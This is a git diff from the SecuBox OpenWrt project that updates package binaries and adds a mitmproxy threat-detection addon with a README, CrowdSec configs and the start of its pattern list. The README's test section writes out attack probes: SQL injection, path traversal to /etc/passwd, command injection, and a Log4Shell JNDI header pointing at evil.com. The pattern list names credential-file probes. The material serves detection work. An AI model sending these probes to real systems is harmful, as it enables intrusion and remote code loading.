index 6e9a1b2d..81b330ae 100644
Binary files a/package/secubox/secubox-app-bonus/root/www/secubox-feed/luci-app-streamlit_1.0.0-r9_all.ipk and b/package/secubox/secubox-app-bonus/root/www/secubox-feed/luci-app-streamlit_1.0.0-r9_all.ipk differ
diff --git a/package/secubox/secubox-app-bonus/root/www/secubox-feed/luci-app-system-hub_0.5.1-r4_all.ipk b/package/secubox/secubox-app-bonus/root/www/secubox-feed/luci-app-system-hub_0.5.1-r4_all.ipk
index 805efdab..fb9fcb08 100644
Binary files a/package/secubox/secubox-app-bonus/root/www/secubox-feed/luci-app-system-hub_0.5.1-r4_all.ipk and b/package/secubox/secubox-app-bonus/root/www/secubox-feed/luci-app-system-hub_0.5.1-r4_all.ipk differ
diff --git a/package/secubox/secubox-app-bonus/root/www/secubox-feed/luci-app-tor-shield_1.0.0-r10_all.ipk b/package/secubox/secubox-app-bonus/root/www/secubox-feed/luci-app-tor-shield_1.0.0-r10_all.ipk
index 5d9cc621..4d4c5f0d 100644
Binary files a/package/secubox/secubox-app-bonus/root/www/secubox-feed/luci-app-tor-shield_1.0.0-r10_all.ipk and b/package/secubox/secubox-app-bonus/root/www/secubox-feed/luci-app-tor-shield_1.0.0-r10_all.ipk differ
diff --git a/package/secubox/secubox-app-bonus/root/www/secubox-feed/luci-app-traffic-shaper_0.4.0-r2_all.ipk b/package/secubox/secubox-app-bonus/root/www/secubox-feed/luci-app-traffic-shaper_0.4.0-r2_all.ipk
index cac94712..f9fceb45 100644
Binary files a/package/secubox/secubox-app-bonus/root/www/secubox-feed/luci-app-traffic-shaper_0.4.0-r2_all.ipk and b/package/secubox/secubox-app-bonus/root/www/secubox-feed/luci-app-traffic-shaper_0.4.0-r2_all.ipk differ
diff --git a/package/secubox/secubox-app-bonus/root/www/secubox-feed/luci-app-vhost-manager_0.5.0-r5_all.ipk b/package/secubox/secubox-app-bonus/root/www/secubox-feed/luci-app-vhost-manager_0.5.0-r5_all.ipk
index 8b21e0b7..c5d2c909 100644
Binary files a/package/secubox/secubox-app-bonus/root/www/secubox-feed/luci-app-vhost-manager_0.5.0-r5_all.ipk and b/package/secubox/secubox-app-bonus/root/www/secubox-feed/luci-app-vhost-manager_0.5.0-r5_all.ipk differ
diff --git a/package/secubox/secubox-app-bonus/root/www/secubox-feed/luci-app-wireguard-dashboard_0.7.0-r5_all.ipk b/package/secubox/secubox-app-bonus/root/www/secubox-feed/luci-app-wireguard-dashboard_0.7.0-r5_all.ipk
index 8be99617..54360464 100644
Binary files a/package/secubox/secubox-app-bonus/root/www/secubox-feed/luci-app-wireguard-dashboard_0.7.0-r5_all.ipk and b/package/secubox/secubox-app-bonus/root/www/secubox-feed/luci-app-wireguard-dashboard_0.7.0-r5_all.ipk differ
diff --git a/package/secubox/secubox-app-bonus/root/www/secubox-feed/luci-app-zigbee2mqtt_1.0.0-r2_all.ipk b/package/secubox/secubox-app-bonus/root/www/secubox-feed/luci-app-zigbee2mqtt_1.0.0-r2_all.ipk
index 1e353c06..7e77973e 100644
Binary files a/package/secubox/secubox-app-bonus/root/www/secubox-feed/luci-app-zigbee2mqtt_1.0.0-r2_all.ipk and b/package/secubox/secubox-app-bonus/root/www/secubox-feed/luci-app-zigbee2mqtt_1.0.0-r2_all.ipk differ
diff --git a/package/secubox/secubox-app-bonus/root/www/secubox-feed/luci-theme-secubox_0.4.7-r1_all.ipk b/package/secubox/secubox-app-bonus/root/www/secubox-feed/luci-theme-secubox_0.4.7-r1_all.ipk
index 76be6049..fb0c148a 100644
Binary files a/package/secubox/secubox-app-bonus/root/www/secubox-feed/luci-theme-secubox_0.4.7-r1_all.ipk and b/package/secubox/secubox-app-bonus/root/www/secubox-feed/luci-theme-secubox_0.4.7-r1_all.ipk differ
diff --git a/package/secubox/secubox-app-bonus/root/www/secubox-feed/secubox-app-adguardhome_1.0.0-r2_all.ipk b/package/secubox/secubox-app-bonus/root/www/secubox-feed/secubox-app-adguardhome_1.0.0-r2_all.ipk
index 16cc00fa..60d5a587 100644
Binary files a/package/secubox/secubox-app-bonus/root/www/secubox-feed/secubox-app-adguardhome_1.0.0-r2_all.ipk and b/package/secubox/secubox-app-bonus/root/www/secubox-feed/secubox-app-adguardhome_1.0.0-r2_all.ipk differ
diff --git a/package/secubox/secubox-app-bonus/root/www/secubox-feed/secubox-app-auth-logger_1.2.2-r1_all.ipk b/package/secubox/secubox-app-bonus/root/www/secubox-feed/secubox-app-auth-logger_1.2.2-r1_all.ipk
index 433dc96d..17ced10c 100644
Binary files a/package/secubox/secubox-app-bonus/root/www/secubox-feed/secubox-app-auth-logger_1.2.2-r1_all.ipk and b/package/secubox/secubox-app-bonus/root/www/secubox-feed/secubox-app-auth-logger_1.2.2-r1_all.ipk differ
diff --git a/package/secubox/secubox-app-bonus/root/www/secubox-feed/secubox-app-crowdsec-custom_1.1.0-r1_all.ipk b/package/secubox/secubox-app-bonus/root/www/secubox-feed/secubox-app-crowdsec-custom_1.1.0-r1_all.ipk
index a4b4dd91..e4939f9d 100644
Binary files a/package/secubox/secubox-app-bonus/root/www/secubox-feed/secubox-app-crowdsec-custom_1.1.0-r1_all.ipk and b/package/secubox/secubox-app-bonus/root/www/secubox-feed/secubox-app-crowdsec-custom_1.1.0-r1_all.ipk differ
diff --git a/package/secubox/secubox-app-bonus/root/www/secubox-feed/secubox-app-cs-firewall-bouncer_0.0.31-r4_aarch64_cortex-a72.ipk b/package/secubox/secubox-app-bonus/root/www/secubox-feed/secubox-app-cs-firewall-bouncer_0.0.31-r4_aarch64_cortex-a72.ipk
index 74da632f..68f05df0 100644
Binary files a/package/secubox/secubox-app-bonus/root/www/secubox-feed/secubox-app-cs-firewall-bouncer_0.0.31-r4_aarch64_cortex-a72.ipk and b/package/secubox/secubox-app-bonus/root/www/secubox-feed/secubox-app-cs-firewall-bouncer_0.0.31-r4_aarch64_cortex-a72.ipk differ
diff --git a/package/secubox/secubox-app-bonus/root/www/secubox-feed/secubox-app-cyberfeed_0.2.1-r1_all.ipk b/package/secubox/secubox-app-bonus/root/www/secubox-feed/secubox-app-cyberfeed_0.2.1-r1_all.ipk
index dad2a735..943801b0 100644
Binary files a/package/secubox/secubox-app-bonus/root/www/secubox-feed/secubox-app-cyberfeed_0.2.1-r1_all.ipk and b/package/secubox/secubox-app-bonus/root/www/secubox-feed/secubox-app-cyberfeed_0.2.1-r1_all.ipk differ
diff --git a/package/secubox/secubox-app-bonus/root/www/secubox-feed/secubox-app-domoticz_1.0.0-r2_all.ipk b/package/secubox/secubox-app-bonus/root/www/secubox-feed/secubox-app-domoticz_1.0.0-r2_all.ipk
index 614af8ba..6054d270 100644
Binary files a/package/secubox/secubox-app-bonus/root/www/secubox-feed/secubox-app-domoticz_1.0.0-r2_all.ipk and b/package/secubox/secubox-app-bonus/root/www/secubox-feed/secubox-app-domoticz_1.0.0-r2_all.ipk differ
diff --git a/package/secubox/secubox-app-bonus/root/www/secubox-feed/secubox-app-exposure_1.0.0-r1_all.ipk b/package/secubox/secubox-app-bonus/root/www/secubox-feed/secubox-app-exposure_1.0.0-r1_all.ipk
index 390e8272..20d7bf86 100644
Binary files a/package/secubox/secubox-app-bonus/root/www/secubox-feed/secubox-app-exposure_1.0.0-r1_all.ipk and b/package/secubox/secubox-app-bonus/root/www/secubox-feed/secubox-app-exposure_1.0.0-r1_all.ipk differ
diff --git a/package/secubox/secubox-app-bonus/root/www/secubox-feed/secubox-app-gitea_1.0.0-r5_all.ipk b/package/secubox/secubox-app-bonus/root/www/secubox-feed/secubox-app-gitea_1.0.0-r5_all.ipk
index 93cd911c..175fa64e 100644
Binary files a/package/secubox/secubox-app-bonus/root/www/secubox-feed/secubox-app-gitea_1.0.0-r5_all.ipk and b/package/secubox/secubox-app-bonus/root/www/secubox-feed/secubox-app-gitea_1.0.0-r5_all.ipk differ
diff --git a/package/secubox/secubox-app-bonus/root/www/secubox-feed/secubox-app-glances_1.0.0-r1_all.ipk b/package/secubox/secubox-app-bonus/root/www/secubox-feed/secubox-app-glances_1.0.0-r1_all.ipk
index 7bbaec00..333b644e 100644
Binary files a/package/secubox/secubox-app-bonus/root/www/secubox-feed/secubox-app-glances_1.0.0-r1_all.ipk and b/package/secubox/secubox-app-bonus/root/www/secubox-feed/secubox-app-glances_1.0.0-r1_all.ipk differ
diff --git a/package/secubox/secubox-app-bonus/root/www/secubox-feed/secubox-app-haproxy_1.0.0-r23_all.ipk b/package/secubox/secubox-app-bonus/root/www/secubox-feed/secubox-app-haproxy_1.0.0-r23_all.ipk
index 24874049..94d3a257 100644
Binary files a/package/secubox/secubox-app-bonus/root/www/secubox-feed/secubox-app-haproxy_1.0.0-r23_all.ipk and b/package/secubox/secubox-app-bonus/root/www/secubox-feed/secubox-app-haproxy_1.0.0-r23_all.ipk differ
diff --git a/package/secubox/secubox-app-bonus/root/www/secubox-feed/secubox-app-hexojs_1.0.0-r8_all.ipk b/package/secubox/secubox-app-bonus/root/www/secubox-feed/secubox-app-hexojs_1.0.0-r8_all.ipk
index ff22bf0b..36443623 100644
Binary files a/package/secubox/secubox-app-bonus/root/www/secubox-feed/secubox-app-hexojs_1.0.0-r8_all.ipk and b/package/secubox/secubox-app-bonus/root/www/secubox-feed/secubox-app-hexojs_1.0.0-r8_all.ipk differ
diff --git a/package/secubox/secubox-app-bonus/root/www/secubox-feed/secubox-app-localai-wb_2.25.0-r1_all.ipk b/package/secubox/secubox-app-bonus/root/www/secubox-feed/secubox-app-localai-wb_2.25.0-r1_all.ipk
index 61cd2b66..15619ad2 100644
Binary files a/package/secubox/secubox-app-bonus/root/www/secubox-feed/secubox-app-localai-wb_2.25.0-r1_all.ipk and b/package/secubox/secubox-app-bonus/root/www/secubox-feed/secubox-app-localai-wb_2.25.0-r1_all.ipk differ
diff --git a/package/secubox/secubox-app-bonus/root/www/secubox-feed/secubox-app-localai_2.25.0-r1_all.ipk b/package/secubox/secubox-app-bonus/root/www/secubox-feed/secubox-app-localai_2.25.0-r1_all.ipk
index 4565e2f7..ede5c6f7 100644
Binary files a/package/secubox/secubox-app-bonus/root/www/secubox-feed/secubox-app-localai_2.25.0-r1_all.ipk and b/package/secubox/secubox-app-bonus/root/www/secubox-feed/secubox-app-localai_2.25.0-r1_all.ipk differ
diff --git a/package/secubox/secubox-app-bonus/root/www/secubox-feed/secubox-app-lyrion_2.0.2-r1_all.ipk b/package/secubox/secubox-app-bonus/root/www/secubox-feed/secubox-app-lyrion_2.0.2-r1_all.ipk
index 3a59c93b..39d637ea 100644
Binary files a/package/secubox/secubox-app-bonus/root/www/secubox-feed/secubox-app-lyrion_2.0.2-r1_all.ipk and b/package/secubox/secubox-app-bonus/root/www/secubox-feed/secubox-app-lyrion_2.0.2-r1_all.ipk differ
diff --git a/package/secubox/secubox-app-bonus/root/www/secubox-feed/secubox-app-magicmirror2_0.4.0-r8_all.ipk b/package/secubox/secubox-app-bonus/root/www/secubox-feed/secubox-app-magicmirror2_0.4.0-r8_all.ipk
index dea659e6..f021fcd9 100644
Binary files a/package/secubox/secubox-app-bonus/root/www/secubox-feed/secubox-app-magicmirror2_0.4.0-r8_all.ipk and b/package/secubox/secubox-app-bonus/root/www/secubox-feed/secubox-app-magicmirror2_0.4.0-r8_all.ipk differ
diff --git a/package/secubox/secubox-app-bonus/root/www/secubox-feed/secubox-app-mailinabox_2.0.0-r1_all.ipk b/package/secubox/secubox-app-bonus/root/www/secubox-feed/secubox-app-mailinabox_2.0.0-r1_all.ipk
index 36bd5a90..6fca765b 100644
Binary files a/package/secubox/secubox-app-bonus/root/www/secubox-feed/secubox-app-mailinabox_2.0.0-r1_all.ipk and b/package/secubox/secubox-app-bonus/root/www/secubox-feed/secubox-app-mailinabox_2.0.0-r1_all.ipk differ
diff --git a/package/secubox/secubox-app-bonus/root/www/secubox-feed/secubox-app-metabolizer_1.0.0-r3_all.ipk b/package/secubox/secubox-app-bonus/root/www/secubox-feed/secubox-app-metabolizer_1.0.0-r3_all.ipk
index cfff089f..ea764677 100644
Binary files a/package/secubox/secubox-app-bonus/root/www/secubox-feed/secubox-app-metabolizer_1.0.0-r3_all.ipk and b/package/secubox/secubox-app-bonus/root/www/secubox-feed/secubox-app-metabolizer_1.0.0-r3_all.ipk differ
diff --git a/package/secubox/secubox-app-bonus/root/www/secubox-feed/secubox-app-mitmproxy_0.4.0-r16_all.ipk b/package/secubox/secubox-app-bonus/root/www/secubox-feed/secubox-app-mitmproxy_0.4.0-r16_all.ipk
index 37682715..8236130b 100644
Binary files a/package/secubox/secubox-app-bonus/root/www/secubox-feed/secubox-app-mitmproxy_0.4.0-r16_all.ipk and b/package/secubox/secubox-app-bonus/root/www/secubox-feed/secubox-app-mitmproxy_0.4.0-r16_all.ipk differ
diff --git a/package/secubox/secubox-app-bonus/root/www/secubox-feed/secubox-app-mitmproxy_0.5.0-r17_all.ipk b/package/secubox/secubox-app-bonus/root/www/secubox-feed/secubox-app-mitmproxy_0.5.0-r17_all.ipk
new file mode 100644
index 00000000..b90ba68c
Binary files /dev/null and b/package/secubox/secubox-app-bonus/root/www/secubox-feed/secubox-app-mitmproxy_0.5.0-r17_all.ipk differ
diff --git a/package/secubox/secubox-app-bonus/root/www/secubox-feed/secubox-app-mmpm_0.2.0-r5_all.ipk b/package/secubox/secubox-app-bonus/root/www/secubox-feed/secubox-app-mmpm_0.2.0-r5_all.ipk
index 7a736d2c..982644b3 100644
Binary files a/package/secubox/secubox-app-bonus/root/www/secubox-feed/secubox-app-mmpm_0.2.0-r5_all.ipk and b/package/secubox/secubox-app-bonus/root/www/secubox-feed/secubox-app-mmpm_0.2.0-r5_all.ipk differ
diff --git a/package/secubox/secubox-app-bonus/root/www/secubox-feed/secubox-app-nextcloud_1.0.0-r2_all.ipk b/package/secubox/secubox-app-bonus/root/www/secubox-feed/secubox-app-nextcloud_1.0.0-r2_all.ipk
index 833ed1ca..9a94367a 100644
Binary files a/package/secubox/secubox-app-bonus/root/www/secubox-feed/secubox-app-nextcloud_1.0.0-r2_all.ipk and b/package/secubox/secubox-app-bonus/root/www/secubox-feed/secubox-app-nextcloud_1.0.0-r2_all.ipk differ
diff --git a/package/secubox/secubox-app-bonus/root/www/secubox-feed/secubox-app-ollama_0.1.0-r1_all.ipk b/package/secubox/secubox-app-bonus/root/www/secubox-feed/secubox-app-ollama_0.1.0-r1_all.ipk
index 24ff83df..25ea4779 100644
Binary files a/package/secubox/secubox-app-bonus/root/www/secubox-feed/secubox-app-ollama_0.1.0-r1_all.ipk and b/package/secubox/secubox-app-bonus/root/www/secubox-feed/secubox-app-ollama_0.1.0-r1_all.ipk differ
diff --git a/package/secubox/secubox-app-bonus/root/www/secubox-feed/secubox-app-picobrew_1.0.0-r7_all.ipk b/package/secubox/secubox-app-bonus/root/www/secubox-feed/secubox-app-picobrew_1.0.0-r7_all.ipk
index fea754c5..513238c5 100644
Binary files a/package/secubox/secubox-app-bonus/root/www/secubox-feed/secubox-app-picobrew_1.0.0-r7_all.ipk and b/package/secubox/secubox-app-bonus/root/www/secubox-feed/secubox-app-picobrew_1.0.0-r7_all.ipk differ
diff --git a/package/secubox/secubox-app-bonus/root/www/secubox-feed/secubox-app-streamlit_1.0.0-r5_all.ipk b/package/secubox/secubox-app-bonus/root/www/secubox-feed/secubox-app-streamlit_1.0.0-r5_all.ipk
index 04b2648b..a2906899 100644
Binary files a/package/secubox/secubox-app-bonus/root/www/secubox-feed/secubox-app-streamlit_1.0.0-r5_all.ipk and b/package/secubox/secubox-app-bonus/root/www/secubox-feed/secubox-app-streamlit_1.0.0-r5_all.ipk differ
diff --git a/package/secubox/secubox-app-bonus/root/www/secubox-feed/secubox-app-tor_1.0.0-r1_all.ipk b/package/secubox/secubox-app-bonus/root/www/secubox-feed/secubox-app-tor_1.0.0-r1_all.ipk
index 5afae8af..02974d44 100644
Binary files a/package/secubox/secubox-app-bonus/root/www/secubox-feed/secubox-app-tor_1.0.0-r1_all.ipk and b/package/secubox/secubox-app-bonus/root/www/secubox-feed/secubox-app-tor_1.0.0-r1_all.ipk differ
diff --git a/package/secubox/secubox-app-bonus/root/www/secubox-feed/secubox-app-webapp_1.5.0-r7_all.ipk b/package/secubox/secubox-app-bonus/root/www/secubox-feed/secubox-app-webapp_1.5.0-r7_all.ipk
index 181e52bc..75cb8ec7 100644
Binary files a/package/secubox/secubox-app-bonus/root/www/secubox-feed/secubox-app-webapp_1.5.0-r7_all.ipk and b/package/secubox/secubox-app-bonus/root/www/secubox-feed/secubox-app-webapp_1.5.0-r7_all.ipk differ
diff --git a/package/secubox/secubox-app-bonus/root/www/secubox-feed/secubox-app-zigbee2mqtt_1.0.0-r3_all.ipk b/package/secubox/secubox-app-bonus/root/www/secubox-feed/secubox-app-zigbee2mqtt_1.0.0-r3_all.ipk
index 86c77d41..af6462e4 100644
Binary files a/package/secubox/secubox-app-bonus/root/www/secubox-feed/secubox-app-zigbee2mqtt_1.0.0-r3_all.ipk and b/package/secubox/secubox-app-bonus/root/www/secubox-feed/secubox-app-zigbee2mqtt_1.0.0-r3_all.ipk differ
diff --git a/package/secubox/secubox-app-bonus/root/www/secubox-feed/secubox-app_1.0.0-r2_all.ipk b/package/secubox/secubox-app-bonus/root/www/secubox-feed/secubox-app_1.0.0-r2_all.ipk
index ebe3a79f..a1f6c29e 100644
Binary files a/package/secubox/secubox-app-bonus/root/www/secubox-feed/secubox-app_1.0.0-r2_all.ipk and b/package/secubox/secubox-app-bonus/root/www/secubox-feed/secubox-app_1.0.0-r2_all.ipk differ
diff --git a/package/secubox/secubox-app-bonus/root/www/secubox-feed/secubox-core_0.10.0-r9_all.ipk b/package/secubox/secubox-app-bonus/root/www/secubox-feed/secubox-core_0.10.0-r9_all.ipk
deleted file mode 100644
index c679ab4b..00000000
Binary files a/package/secubox/secubox-app-bonus/root/www/secubox-feed/secubox-core_0.10.0-r9_all.ipk and /dev/null differ
diff --git a/package/secubox/secubox-app-bonus/root/www/secubox-feed/secubox-p2p_0.6.0-r1_all.ipk b/package/secubox/secubox-app-bonus/root/www/secubox-feed/secubox-p2p_0.6.0-r1_all.ipk
index 30009c62..c016a930 100644
Binary files a/package/secubox/secubox-app-bonus/root/www/secubox-feed/secubox-p2p_0.6.0-r1_all.ipk and b/package/secubox/secubox-app-bonus/root/www/secubox-feed/secubox-p2p_0.6.0-r1_all.ipk differ
diff --git a/package/secubox/secubox-app-mitmproxy/Makefile b/package/secubox/secubox-app-mitmproxy/Makefile
index 8047eac6..bfc77e9c 100644
--- a/package/secubox/secubox-app-mitmproxy/Makefile
+++ b/package/secubox/secubox-app-mitmproxy/Makefile
@@ -1,8 +1,8 @@
include $(TOPDIR)/rules.mk
PKG_NAME:=secubox-app-mitmproxy
-PKG_RELEASE:=16
-PKG_VERSION:=0.4.0
+PKG_RELEASE:=17
+PKG_VERSION:=0.5.0
PKG_ARCH:=all
PKG_MAINTAINER:=CyberMind Studio
PKG_LICENSE:=Apache-2.0
@@ -26,6 +26,12 @@ Features:
- Modify requests and responses on the fly
- Web interface (mitmweb) for easy analysis
- Export traffic for offline analysis
+- Enhanced threat detection addon (v2.0):
+ * SQL injection, XSS, command injection
+ * Path traversal, SSRF, XXE, LDAP injection
+ * Log4Shell and known CVE detection
+ * Rate limiting and suspicious header detection
+ * CrowdSec integration for blocking
Runs in LXC container for isolation and security.
Configure in /etc/config/mitmproxy.
@@ -47,6 +53,10 @@ define Package/secubox-app-mitmproxy/install
$(INSTALL_DIR) $(1)/usr/sbin
$(INSTALL_BIN) ./files/usr/sbin/mitmproxyctl $(1)/usr/sbin/mitmproxyctl
+
+ # Analytics addon for threat detection
+ $(INSTALL_DIR) $(1)/srv/mitmproxy/addons
+ $(INSTALL_DATA) ./root/srv/mitmproxy/addons/secubox_analytics.py $(1)/srv/mitmproxy/addons/
endef
define Package/secubox-app-mitmproxy/postinst
diff --git a/package/secubox/secubox-app-mitmproxy/root/srv/mitmproxy/addons/README.md b/package/secubox/secubox-app-mitmproxy/root/srv/mitmproxy/addons/README.md
new file mode 100644
index 00000000..ef49dec6
--- /dev/null
+++ b/package/secubox/secubox-app-mitmproxy/root/srv/mitmproxy/addons/README.md
@@ -0,0 +1,223 @@
+# SecuBox Analytics Addon v2.0
+
+Advanced threat detection addon for mitmproxy with CrowdSec integration.
+
+## Features
+
+### Threat Detection Categories
+
+| Category | Patterns | Severity | Description |
+|----------|----------|----------|-------------|
+| **Path Scans** | 50+ | Medium | Config files, admin panels, backups, web shells |
+| **SQL Injection** | 25+ | Critical | Classic, blind, error-based, hex/char encoding |
+| **XSS** | 30+ | High | Script tags, event handlers, DOM manipulation |
+| **Command Injection** | 20+ | Critical | Shell commands, code execution, reverse shells |
+| **Path Traversal** | 12+ | High | Directory traversal, encoding bypass |
+| **SSRF** | 10+ | High | Internal IP targeting, cloud metadata |
+| **XXE** | 8+ | Critical | XML external entity injection |
+| **LDAP Injection** | 10+ | High | LDAP query manipulation |
+| **Log4Shell** | 7+ | Critical | JNDI/Log4j (CVE-2021-44228) |
+
+### Known CVE Detection
+
+- **CVE-2021-44228** - Log4Shell (JNDI injection)
+- **CVE-2021-41773/42013** - Apache path traversal
+- **CVE-2022-22963** - Spring Cloud Function RCE
+- **CVE-2022-22965** - Spring4Shell
+- **CVE-2023-34362** - MOVEit Transfer
+- **CVE-2024-3400** - PAN-OS GlobalProtect
+
+### Additional Features
+
+- **Rate Limiting**: Detects request flooding (100 req/60s threshold)
+- **Suspicious Headers**: Identifies attack tool fingerprints
+- **Bot Detection**: 40+ scanner/bot signatures
+- **GeoIP**: Country-based tracking (requires MaxMind DB)
+- **Client Fingerprinting**: MD5 hash of browser characteristics
+
+## Output Files
+
+| File | Description |
+|------|-------------|
+| `/var/log/secubox-access.log` | Full access log (JSON lines) |
+| `/var/log/crowdsec/secubox-mitm.log` | CrowdSec-compatible threat log |
+| `/tmp/secubox-mitm-alerts.json` | Last 100 security alerts |
+| `/tmp/secubox-mitm-stats.json` | Real-time statistics |
+
+## Log Format
+
+### Access Log Entry
+```json
+{
+ "timestamp": "2026-01-31T15:30:00Z",
+ "client_ip": "203.0.113.50",
+ "country": "CN",
+ "method": "GET",
+ "host": "example.com",
+ "path": "/admin/../../../etc/passwd",
+ "scan": {
+ "is_scan": true,
+ "pattern": "path_traversal",
+ "type": "traversal",
+ "severity": "high",
+ "category": "file_access"
+ },
+ "client": {
+ "fingerprint": "a1b2c3d4e5f6",
+ "user_agent": "Mozilla/5.0...",
+ "is_bot": false,
+ "device": "linux"
+ },
+ "rate_limit": {
+ "is_limited": false,
+ "count": 15
+ }
+}
+```
+
+### CrowdSec Log Entry
+```json
+{
+ "timestamp": "2026-01-31T15:30:00Z",
+ "source_ip": "203.0.113.50",
+ "country": "CN",
+ "request": "GET /admin/../../../etc/passwd",
+ "type": "traversal",
+ "pattern": "path_traversal",
+ "category": "file_access",
+ "severity": "high",
+ "cve": "",
+ "is_bot": false,
+ "rate_limited": false
+}
+```
+
+## CrowdSec Integration
+
+### Custom Parser
+
+Create `/etc/crowdsec/parsers/s02-enrich/secubox-mitm.yaml`:
+
+```yaml
+name: secubox/secubox-mitm
+description: "Parse SecuBox MITM threat logs"
+filter: "evt.Parsed.program == 'secubox-mitm'"
+onsuccess: next_stage
+nodes:
+ - grok:
+ pattern: '%{GREEDYDATA:json_log}'
+ apply_on: message
+ - statics:
+ - parsed: source_ip
+ expression: JsonExtract(evt.Parsed.json_log, "source_ip")
+ - parsed: type
+ expression: JsonExtract(evt.Parsed.json_log, "type")
+ - parsed: severity
+ expression: JsonExtract(evt.Parsed.json_log, "severity")
+ - parsed: pattern
+ expression: JsonExtract(evt.Parsed.json_log, "pattern")
+ - meta: source_ip
+ expression: evt.Parsed.source_ip
+```
+
+### Custom Scenario
+
+Create `/etc/crowdsec/scenarios/secubox-mitm-threats.yaml`:
+
+```yaml
+type: trigger
+name: secubox/mitm-critical-threat
+description: "Block critical threats detected by SecuBox MITM"
+filter: evt.Parsed.severity == "critical"
+groupby: evt.Parsed.source_ip
+blackhole: 5m
+labels:
+ type: scan
+ service: http
+ remediation: true
+```
+
+## Usage
+
+### Enable in mitmproxy
+
+```bash
+# Run with addon
+mitmdump -s /srv/mitmproxy/addons/secubox_analytics.py
+
+# Or in mitmweb
+mitmweb -s /srv/mitmproxy/addons/secubox_analytics.py
+```
+
+### View Real-time Stats
+
+```bash
+# Watch stats file
+watch -n 5 'cat /tmp/secubox-mitm-stats.json | jq'
+
+# View recent alerts
+cat /tmp/secubox-mitm-alerts.json | jq '.[-5:]'
+
+# Tail CrowdSec log
+tail -f /var/log/crowdsec/secubox-mitm.log | jq
+```
+
+### Test Detection
+
+```bash
+# SQL Injection
+curl "http://target/page?id=1'+OR+'1'='1"
+
+# XSS
+curl "http://target/search?q="
+
+# Path Traversal
+curl "http://target/../../../etc/passwd"
+
+# Log4Shell
+curl -H "X-Api-Token: \${jndi:ldap://evil.com/a}" http://target/
+
+# Command Injection
+curl "http://target/ping?host=127.0.0.1;cat+/etc/passwd"
+```
+
+## Configuration
+
+### Rate Limiting
+
+Modify in `secubox_analytics.py`:
+
+```python
+# Default: 100 requests per 60 seconds
+rate_limit = self._check_rate_limit(source_ip, window_seconds=60, max_requests=100)
+```
+
+### GeoIP Database
+
+Download MaxMind GeoLite2:
+
+```bash
+# Place database at:
+/srv/mitmproxy/GeoLite2-Country.mmdb
+```
+
+## Severity Levels
+
+| Level | Action | Examples |
+|-------|--------|----------|
+| **Critical** | Immediate alert | SQL injection, Command injection, Log4Shell, XXE |
+| **High** | Alert + Log | XSS, Path traversal, SSRF, LDAP injection |
+| **Medium** | Log only | Path scans, Bot detection, Config file access |
+| **Low** | Stats only | Rate limiting, Suspicious headers |
+
+## Bot Signatures
+
+Detected scanners and tools:
+- Security: Nmap, Nikto, Nuclei, SQLMap, Burp Suite, OWASP ZAP
+- Crawlers: zgrab, masscan, gobuster, ffuf, feroxbuster
+- HTTP Clients: curl, wget, python-requests, go-http-client
+- Bad Bots: AhrefsBot, SemrushBot, MJ12bot, etc.
+
+## License
+
+Apache 2.0 - Part of SecuBox OpenWrt
diff --git a/package/secubox/secubox-app-mitmproxy/root/srv/mitmproxy/addons/secubox_analytics.py b/package/secubox/secubox-app-mitmproxy/root/srv/mitmproxy/addons/secubox_analytics.py
index 0d03abfb..c83d6f93 100644
--- a/package/secubox/secubox-app-mitmproxy/root/srv/mitmproxy/addons/secubox_analytics.py
+++ b/package/secubox/secubox-app-mitmproxy/root/srv/mitmproxy/addons/secubox_analytics.py
@@ -1,8 +1,9 @@
#!/usr/bin/env python3
"""
SecuBox Analytics Addon for mitmproxy
+Advanced threat detection with comprehensive pattern matching
Logs external access attempts with IP, country, user agent, auth attempts, scan detection
-Feeds data to CrowdSec for threat detection
+Feeds data to CrowdSec for threat detection and blocking
"""
import json
@@ -11,6 +12,7 @@ import re
import hashlib
import os
from datetime import datetime
+from collections import defaultdict
from mitmproxy import http, ctx
from pathlib import Path
@@ -19,32 +21,211 @@ GEOIP_DB = "/srv/mitmproxy/GeoLite2-Country.mmdb"
LOG_FILE = "/var/log/secubox-access.log"
CROWDSEC_LOG = "/var/log/crowdsec/secubox-mitm.log"
ALERTS_FILE = "/tmp/secubox-mitm-alerts.json"
+STATS_FILE = "/tmp/secubox-mitm-stats.json"
-# Suspicious patterns
-SCAN_PATTERNS = [
- r'/\.env', r'/\.git', r'/wp-admin', r'/wp-login', r'/phpmyadmin',
- r'/admin', r'/administrator', r'/xmlrpc\.php', r'/wp-content/uploads',
- r'/\.aws', r'/\.ssh', r'/config\.php', r'/backup', r'/db\.sql',
- r'/shell', r'/cmd', r'/exec', r'/eval', r'\.\./', r'/etc/passwd',
- r'/proc/self', r'